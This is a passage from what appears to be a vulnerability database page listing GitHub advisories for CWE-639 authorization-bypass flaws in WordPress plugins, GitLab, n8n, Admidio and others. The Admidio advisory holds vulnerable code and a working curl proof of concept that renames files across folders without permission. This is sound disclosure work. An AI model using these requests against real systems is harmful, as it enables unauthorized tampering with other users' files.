Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3254 vulnerabilities reference this CWE, most recent first.

GHSA-Q43X-GH6J-72HR

Vulnerability from github – Published: 2025-05-09 09:33 – Updated: 2025-05-09 09:33
VLAI
Details

The Frontend Login and Registration Blocks plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.0.7. This is due to the plugin not properly validating a user's identity prior to updating their details like email via the flr_blocks_user_settings_handle_ajax_callback() function. This makes it possible for unauthenticated attackers to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-3605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-09T07:16:10Z",
    "severity": "CRITICAL"
  },
  "details": "The Frontend Login and Registration Blocks plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.0.7. This is due to the plugin not properly validating a user\u0027s identity prior to updating their details like email via the flr_blocks_user_settings_handle_ajax_callback() function. This makes it possible for unauthenticated attackers to change arbitrary user\u0027s email addresses, including administrators, and leverage that to reset the user\u0027s password and gain access to their account.",
  "id": "GHSA-q43x-gh6j-72hr",
  "modified": "2025-05-09T09:33:21Z",
  "published": "2025-05-09T09:33:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3605"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/frontend-login-and-registration-blocks/trunk/inc/class-flr-blocks-user-settings.php#L59"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0c11668c-6dc3-4539-b2be-bf6528bed73e?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q477-JXCV-9PXW

Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2022-05-24 17:35
VLAI
Details

An issue was discovered in Gitlab CE/EE versions >= 13.1 to <13.4.7, >= 13.5 to <13.5.5, and >= 13.6 to <13.6.2 allowed an unauthorized user to access the user list corresponding to a feature flag in a project.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-13357"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-11T04:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Gitlab CE/EE versions \u003e= 13.1 to \u003c13.4.7, \u003e= 13.5 to \u003c13.5.5, and \u003e= 13.6 to \u003c13.6.2 allowed an unauthorized user to access the user list corresponding to a feature flag in a project.",
  "id": "GHSA-q477-jxcv-9pxw",
  "modified": "2022-05-24T17:35:59Z",
  "published": "2022-05-24T17:35:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13357"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/962408"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-13357.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/241132"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-Q4CR-CJQ5-H3M4

Vulnerability from github – Published: 2026-05-12 12:32 – Updated: 2026-05-12 12:32
VLAI
Details

Authorization bypass through User-Controlled key vulnerability in ABIS Technology Ltd. Co. BAPSİS allows Exploitation of Trusted Identifiers.

This issue affects BAPSİS: before v.202604152042.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-6001"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-12T10:16:48Z",
    "severity": "HIGH"
  },
  "details": "Authorization bypass through User-Controlled key vulnerability in ABIS Technology Ltd. Co. BAPS\u0130S allows Exploitation of Trusted Identifiers.\n\nThis issue affects BAPS\u0130S: before v.202604152042.",
  "id": "GHSA-q4cr-cjq5-h3m4",
  "modified": "2026-05-12T12:32:15Z",
  "published": "2026-05-12T12:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6001"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0223"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q4CX-MM7J-89XJ

Vulnerability from github – Published: 2026-06-09 06:31 – Updated: 2026-06-09 06:31
VLAI
Details

The 6Storage Rentals plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in all versions up to and including 2.22.0 via the userId parameter of the six_storage_get_user_info and six_storage_update_profile AJAX actions. This is due to the six_storage_getUserInfo() and six_storage_updateProfile() functions being registered on wp_ajax_nopriv_* hooks and accepting a tenant identifier directly from $_POST['userId'] without performing any ownership verification, session binding, or nonce validation to confirm the requester has a legitimate relationship to the supplied ID. This makes it possible for unauthenticated attackers to read and modify arbitrary tenants' profile data — including name, email address, phone number, physical address, and SSN — by supplying an enumerated userId value in a crafted request to either handler.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-9185"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T05:16:41Z",
    "severity": "HIGH"
  },
  "details": "The 6Storage Rentals plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in all versions up to and including 2.22.0 via the `userId` parameter of the `six_storage_get_user_info` and `six_storage_update_profile` AJAX actions. This is due to the `six_storage_getUserInfo()` and `six_storage_updateProfile()` functions being registered on `wp_ajax_nopriv_*` hooks and accepting a tenant identifier directly from `$_POST[\u0027userId\u0027]` without performing any ownership verification, session binding, or nonce validation to confirm the requester has a legitimate relationship to the supplied ID. This makes it possible for unauthenticated attackers to read and modify arbitrary tenants\u0027 profile data \u2014 including name, email address, phone number, physical address, and SSN \u2014 by supplying an enumerated `userId` value in a crafted request to either handler.",
  "id": "GHSA-q4cx-mm7j-89xj",
  "modified": "2026-06-09T06:31:59Z",
  "published": "2026-06-09T06:31:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9185"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.20.2/inc/Base/Six_Storage_DashboardController.php#L11"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.20.2/inc/Base/Six_Storage_DashboardController.php#L1931"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.20.2/inc/Base/Six_Storage_DashboardController.php#L1955"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.20.2/inc/Base/Six_Storage_DashboardController.php#L995"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.20.2/inc/Base/Six_Storage_DashboardController.php#L998"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.22.0/inc/Base/Six_Storage_DashboardController.php#L11"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.22.0/inc/Base/Six_Storage_DashboardController.php#L1931"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.22.0/inc/Base/Six_Storage_DashboardController.php#L1955"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.22.0/inc/Base/Six_Storage_DashboardController.php#L995"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.22.0/inc/Base/Six_Storage_DashboardController.php#L998"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/74fa4240-6f62-4db6-b7e7-56998fc29e42?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q552-8MHX-P6Q2

Vulnerability from github – Published: 2025-02-26 21:30 – Updated: 2025-03-05 00:30
VLAI
Details

SunGrow iSolarCloud before the October 31, 2024 remediation is vulnerable to insecure direct object references (IDOR) via the orgService API model.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-50689"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-26T21:15:17Z",
    "severity": "CRITICAL"
  },
  "details": "SunGrow iSolarCloud before the October 31, 2024 remediation is vulnerable to insecure direct object references (IDOR) via the orgService API model.",
  "id": "GHSA-q552-8mhx-p6q2",
  "modified": "2025-03-05T00:30:33Z",
  "published": "2025-02-26T21:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50689"
    },
    {
      "type": "WEB",
      "url": "https://en.sungrowpower.com/security-notice-detail-2/6116"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q5P4-G7M4-MHV3

Vulnerability from github – Published: 2026-03-11 12:31 – Updated: 2026-03-11 12:31
VLAI
Details

The ExactMetrics – Google Analytics Dashboard for WordPress plugin is vulnerable to Insecure Direct Object Reference in versions 8.6.0 through 9.0.2. This is due to the store_settings() method in the ExactMetrics_Onboarding class accepting a user-supplied triggered_by parameter that is used instead of the current user's ID to check permissions. This makes it possible for authenticated attackers with the exactmetrics_save_settings capability to bypass the install_plugins capability check by specifying an administrator's user ID in the triggered_by parameter, allowing them to install arbitrary plugins and achieve Remote Code Execution. This vulnerability only affects sites on which administrator has given other user types the permission to view reports and can only be exploited by users of that type.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-1992"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-11T10:16:13Z",
    "severity": "HIGH"
  },
  "details": "The ExactMetrics \u2013 Google Analytics Dashboard for WordPress plugin is vulnerable to Insecure Direct Object Reference in versions 8.6.0 through 9.0.2. This is due to the `store_settings()` method in the `ExactMetrics_Onboarding` class accepting a user-supplied `triggered_by` parameter that is used instead of the current user\u0027s ID to check permissions. This makes it possible for authenticated attackers with the `exactmetrics_save_settings` capability to bypass the `install_plugins` capability check by specifying an administrator\u0027s user ID in the `triggered_by` parameter, allowing them to install arbitrary plugins and achieve Remote Code Execution. This vulnerability only affects sites on which administrator has given other user types the permission to view reports and can only be exploited by users of that type.",
  "id": "GHSA-q5p4-g7m4-mhv3",
  "modified": "2026-03-11T12:31:22Z",
  "published": "2026-03-11T12:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1992"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/google-analytics-dashboard-for-wp/trunk/includes/admin/class-exactmetrics-onboarding.php#L273"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3473805/google-analytics-dashboard-for-wp/trunk/includes/admin/class-exactmetrics-onboarding.php?old=3309894\u0026old_path=google-analytics-dashboard-for-wp%2Ftrunk%2Fincludes%2Fadmin%2Fclass-exactmetrics-onboarding.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/79b6b896-df66-4c3d-a4d4-d3dbeb630134?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q658-FH2M-CGVF

Vulnerability from github – Published: 2024-02-06 00:30 – Updated: 2026-04-08 21:32
VLAI
Details

The Starbox – the Author Box for Humans plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.4.7 via the action function due to missing validation on a user controlled key. This makes it possible for subscribers to view plugin preferences and potentially other user settings.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-0366"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-05T22:16:00Z",
    "severity": "MODERATE"
  },
  "details": "The Starbox \u2013 the Author Box for Humans plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.4.7 via the action function due to missing validation on a user controlled key. This makes it possible for subscribers to view plugin preferences and potentially other user settings.",
  "id": "GHSA-q658-fh2m-cgvf",
  "modified": "2026-04-08T21:32:12Z",
  "published": "2024-02-06T00:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0366"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/starbox/trunk/core/UserSettings.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3028775/starbox/trunk?contextall=1\u0026old=3000701\u0026old_path=%2Fstarbox%2Ftrunk"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3028775/starbox/trunk?contextall=1\u0026old=3000701\u0026old_path=/starbox/trunk"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c47601b4-bf16-4f59-b5f3-584a8eac7c67?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q6MX-QVHP-FQMG

Vulnerability from github – Published: 2026-07-15 12:32 – Updated: 2026-07-16 21:30
VLAI
Details

n8n before versions 1.123.61, 2.27.4, and 2.28.1 contains a permission bypass vulnerability in external secrets handling caused by a mismatch between the static validation check and the runtime expression engine. An authenticated user with credential create or update permissions but without the externalSecret:list scope can embed external secret references into credentials in forms the static validation does not detect; these references resolve at workflow execution time, exposing secret values the user is not authorized to access. This issue only affects instances where an external secrets provider is configured and Advanced Permissions are in use.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
6.0 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-59259"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-15T12:18:17Z",
    "severity": "MODERATE"
  },
  "details": "n8n before versions 1.123.61, 2.27.4, and 2.28.1 contains a permission bypass vulnerability in external secrets handling caused by a mismatch between the static validation check and the runtime expression engine. An authenticated user with credential create or update permissions but without the externalSecret:list scope can embed external secret references into credentials in forms the static validation does not detect; these references resolve at workflow execution time, exposing secret values the user is not authorized to access. This issue only affects instances where an external secrets provider is configured and Advanced Permissions are in use.",
  "id": "GHSA-q6mx-qvhp-fqmg",
  "modified": "2026-07-16T21:30:33Z",
  "published": "2026-07-15T12:32:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-jp7m-xcgx-57qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59259"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/n8n-permission-bypass-via-expression-parser-mismatch-in-external-secrets"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-Q6W3-HPFV-RG36

Vulnerability from github – Published: 2026-05-29 22:05 – Updated: 2026-05-29 22:05
VLAI
Summary
Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders
Details

Summary

modules/documents-files.php mode file_rename_save shares the same root-cause shape as the cross-folder move bug (05-documents-cross-folder-move-idor.md): the top-level rights check at lines 79-89 validates hasUploadRight() on the URL parameter folder_uuid, but the rename operation acts on file_uuid — a separate URL parameter — without re-checking the folder that actually contains the file. DocumentsService::renameFile() resolves the target file via getFileForDownload() (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description.

Details

Vulnerable Code

modules/documents-files.php:79-89 — top-level check binds to URL folder_uuid:

if ($getMode != 'list' && $getMode != 'download') {
    $folder = new Folder($gDb);
    $folder->getFolderForDownload($getFolderUUID);
    if (!$folder->hasUploadRight()) {
        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
    }
}

src/Documents/Service/DocumentsService.php:272-315 — renameFile() resolves the file via getFileForDownload() (view-only) and never re-verifies upload right on the file's parent:

public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
    $file = new File($this->db);
    $file->getFileForDownload($fileUUID);                          // <-- view rights, not upload
    ...
    $oldFile = $file->getFullFilePath();
    $newFile = $newName . '.' . pathinfo($oldFile, PATHINFO_EXTENSION);
    $newPath = pathinfo($oldFile, PATHINFO_DIRNAME) . '/';
    FileSystemUtils::moveFile($oldFile, $newPath . $newFile);

    $file->setValue('fil_name', $newFile);
    $file->setValue('fil_description', $newDescription);
    $file->save();
    ...
}

getFileForDownload() enforces only the download (read) ACL on the file's folder. There is no hasUploadRight() check anywhere in the rename path. The actual file remains in its original folder; only its name and description change. This means the modified metadata is visible to every other user who legitimately has download rights on that folder, while the modification itself was performed by a user who has no edit right on it.

Exploitation Primitive

  1. Attacker user lowuser holds folder_upload on public_uploadable (UUID c41a99c0-…). They have view (download) rights on view_only_public (UUID 21b417e2-…, fol_public=1) but no upload/edit right there. The folder contains admin_announcement.txt (UUID aaae5edd-…).
  2. Render the rename form with a folder_uuid of a folder lowuser CAN upload to and a file_uuid of the target file: GET /modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… The top-level rights check at line 85 sees the public-uploadable folder and passes.
  3. Submit rename: POST /modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… with adm_csrf_token=<from step 2>, adm_new_name=hijacked_announcement, adm_new_description=Hijacked!. Server replies {"status":"success"}. adm_files: fil_fol_id=7 (still the original view_only_public), fil_name='hijacked_announcement.txt', fil_description='Hijacked!'. On disk: admin_announcement.txt is renamed to hijacked_announcement.txt in its original folder.

PoC

Captured live against HEAD c5cde53 (mariadb on 127.0.0.1:3399, php on 127.0.0.1:8085):

$ curl -sb $cookie \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…"
# form rendered, CSRF token X added to session

$ curl -sb $cookie -X POST \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…" \
    -d "adm_csrf_token=X&adm_new_name=hijacked_announcement&adm_new_description=Hijacked%21"
{"status":"success", …}

$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p… admidio \
    -e "SELECT fil_fol_id, fil_name, fil_description FROM adm_files WHERE fil_uuid='aaae5edd-…';"
fil_fol_id  fil_name                       fil_description
7           hijacked_announcement.txt      Hijacked!

The folder ID fil_fol_id=7 is view_only_public — the folder that lowuser had no upload right on. The change was applied as if lowuser were authorised.

Impact

A user with the most basic Documents permission — upload to a single folder — can rename and overwrite descriptions of files in any other folder they can read. Confidentiality is unaffected (the actor already had download rights on the affected files), but integrity is broken across folder boundaries. Concretely:

  • Defacement of public announcements / policies / circulars. A regular member can replace admin_announcement.txt with hijacked_announcement.txt and a description that misrepresents the content. Other readers see the malicious metadata.
  • Renaming-to-confuse. Files can be renamed to identifiers that imply different content (board_minutes_2025-Q4.pdf → board_minutes_DRAFT-do-not-distribute.pdf).
  • Description-as-XSS-vector (downstream): if any view path treats fil_description as raw HTML, this becomes a stored XSS by a low-privilege user; absent that, it is plain content tampering.

The CVSS reflects: PR:L (uploader on any folder), S:U (stays inside Admidio's authorisation model), C:N because the actor already had read access, I:H because the file's identity is changed for every other reader, A:N because files are not deleted.

Recommended Fix

DocumentsService::renameFile() must check upload right on the file's source folder before mutating it:

// src/Documents/Service/DocumentsService.php
public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
    $file = new File($this->db);
    $file->getFileForDownload($fileUUID);

    // verify the current user has upload (write) right on the file's parent folder,
    // not just download right (which getFileForDownload enforces)
    $sourceFolder = new Folder($this->db);
    $sourceFolder->readData($file->getValue('fil_fol_id'));
    if (!$sourceFolder->hasUploadRight()) {
        throw new Exception('SYS_NO_RIGHTS');
    }
    ...
}

Equivalently, in modules/documents-files.php case 'file_rename_save', resolve the file's parent folder and check hasUploadRight() against it before calling the service. The same fix should be applied to other documents-files modes that take a file_uuid independently of folder_uuid.

Related

This bug shares its root cause with 05-documents-cross-folder-move-idor.md — both flow from the top-level rights check at lines 79-89 binding to URL folder_uuid rather than the actual file's parent. A single fix to enforce source-folder upload right inside File::moveToFolder() and DocumentsService::renameFile() (and any other operations on file_uuid) closes both.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:05:47Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`modules/documents-files.php` mode `file_rename_save` shares the same root-cause shape as the cross-folder move bug (`05-documents-cross-folder-move-idor.md`): the top-level rights check at lines 79-89 validates `hasUploadRight()` on the URL parameter `folder_uuid`, but the rename operation acts on `file_uuid` \u2014 a separate URL parameter \u2014 without re-checking the folder that actually contains the file. `DocumentsService::renameFile()` resolves the target file via `getFileForDownload()` (which permits view-readable files) but does not require upload right on the file\u0027s source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file\u0027s description.\n\n## Details\n\n### Vulnerable Code\n\n`modules/documents-files.php:79-89` \u2014 top-level check binds to URL `folder_uuid`:\n\n```php\nif ($getMode != \u0027list\u0027 \u0026\u0026 $getMode != \u0027download\u0027) {\n    $folder = new Folder($gDb);\n    $folder-\u003egetFolderForDownload($getFolderUUID);\n    if (!$folder-\u003ehasUploadRight()) {\n        $gMessage-\u003eshow($gL10n-\u003eget(\u0027SYS_NO_RIGHTS\u0027));\n    }\n}\n```\n\n`src/Documents/Service/DocumentsService.php:272-315` \u2014 `renameFile()` resolves the file via `getFileForDownload()` (view-only) and never re-verifies upload right on the file\u0027s parent:\n\n```php\npublic function renameFile(string $fileUUID, string $newName, string $newDescription): array\n{\n    $file = new File($this-\u003edb);\n    $file-\u003egetFileForDownload($fileUUID);                          // \u003c-- view rights, not upload\n    ...\n    $oldFile = $file-\u003egetFullFilePath();\n    $newFile = $newName . \u0027.\u0027 . pathinfo($oldFile, PATHINFO_EXTENSION);\n    $newPath = pathinfo($oldFile, PATHINFO_DIRNAME) . \u0027/\u0027;\n    FileSystemUtils::moveFile($oldFile, $newPath . $newFile);\n\n    $file-\u003esetValue(\u0027fil_name\u0027, $newFile);\n    $file-\u003esetValue(\u0027fil_description\u0027, $newDescription);\n    $file-\u003esave();\n    ...\n}\n```\n\n`getFileForDownload()` enforces only the *download* (read) ACL on the file\u0027s folder. There is no `hasUploadRight()` check anywhere in the rename path. The actual file remains in its original folder; only its name and description change. This means the modified metadata is visible to every other user who legitimately has download rights on that folder, while the modification itself was performed by a user who has no edit right on it.\n\n### Exploitation Primitive\n\n1. Attacker user `lowuser` holds `folder_upload` on `public_uploadable` (UUID `c41a99c0-\u2026`). They have *view* (download) rights on `view_only_public` (UUID `21b417e2-\u2026`, `fol_public=1`) but no upload/edit right there. The folder contains `admin_announcement.txt` (UUID `aaae5edd-\u2026`).\n2. Render the rename form with a `folder_uuid` of a folder lowuser CAN upload to and a `file_uuid` of the target file:\n   `GET /modules/documents-files.php?mode=file_rename\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=aaae5edd-\u2026`\n   The top-level rights check at line 85 sees the public-uploadable folder and passes.\n3. Submit rename:\n   `POST /modules/documents-files.php?mode=file_rename_save\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=aaae5edd-\u2026` with `adm_csrf_token=\u003cfrom step 2\u003e`, `adm_new_name=hijacked_announcement`, `adm_new_description=Hijacked!`.\n   Server replies `{\"status\":\"success\"}`. `adm_files`: `fil_fol_id=7` (still the original `view_only_public`), `fil_name=\u0027hijacked_announcement.txt\u0027`, `fil_description=\u0027Hijacked!\u0027`. On disk: `admin_announcement.txt` is renamed to `hijacked_announcement.txt` in its original folder.\n\n## PoC\n\nCaptured live against HEAD `c5cde53` (mariadb on `127.0.0.1:3399`, php on `127.0.0.1:8085`):\n\n```\n$ curl -sb $cookie \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=aaae5edd-\u2026\"\n# form rendered, CSRF token X added to session\n\n$ curl -sb $cookie -X POST \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename_save\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=aaae5edd-\u2026\" \\\n    -d \"adm_csrf_token=X\u0026adm_new_name=hijacked_announcement\u0026adm_new_description=Hijacked%21\"\n{\"status\":\"success\", \u2026}\n\n$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p\u2026 admidio \\\n    -e \"SELECT fil_fol_id, fil_name, fil_description FROM adm_files WHERE fil_uuid=\u0027aaae5edd-\u2026\u0027;\"\nfil_fol_id  fil_name                       fil_description\n7           hijacked_announcement.txt      Hijacked!\n```\n\nThe folder ID `fil_fol_id=7` is `view_only_public` \u2014 the folder that `lowuser` had no upload right on. The change was applied as if `lowuser` were authorised.\n\n## Impact\n\nA user with the most basic Documents permission \u2014 upload to a single folder \u2014 can rename and overwrite descriptions of files in any other folder they can read. Confidentiality is unaffected (the actor already had download rights on the affected files), but integrity is broken across folder boundaries. Concretely:\n\n* **Defacement of public announcements / policies / circulars.** A regular member can replace `admin_announcement.txt` with `hijacked_announcement.txt` and a description that misrepresents the content. Other readers see the malicious metadata.\n* **Renaming-to-confuse.** Files can be renamed to identifiers that imply different content (`board_minutes_2025-Q4.pdf` \u2192 `board_minutes_DRAFT-do-not-distribute.pdf`).\n* **Description-as-XSS-vector** (downstream): if any view path treats `fil_description` as raw HTML, this becomes a stored XSS by a low-privilege user; absent that, it is plain content tampering.\n\nThe CVSS reflects: `PR:L` (uploader on any folder), `S:U` (stays inside Admidio\u0027s authorisation model), `C:N` because the actor already had read access, `I:H` because the file\u0027s identity is changed for every other reader, `A:N` because files are not deleted.\n\n## Recommended Fix\n\n`DocumentsService::renameFile()` must check upload right on the file\u0027s source folder before mutating it:\n\n```php\n// 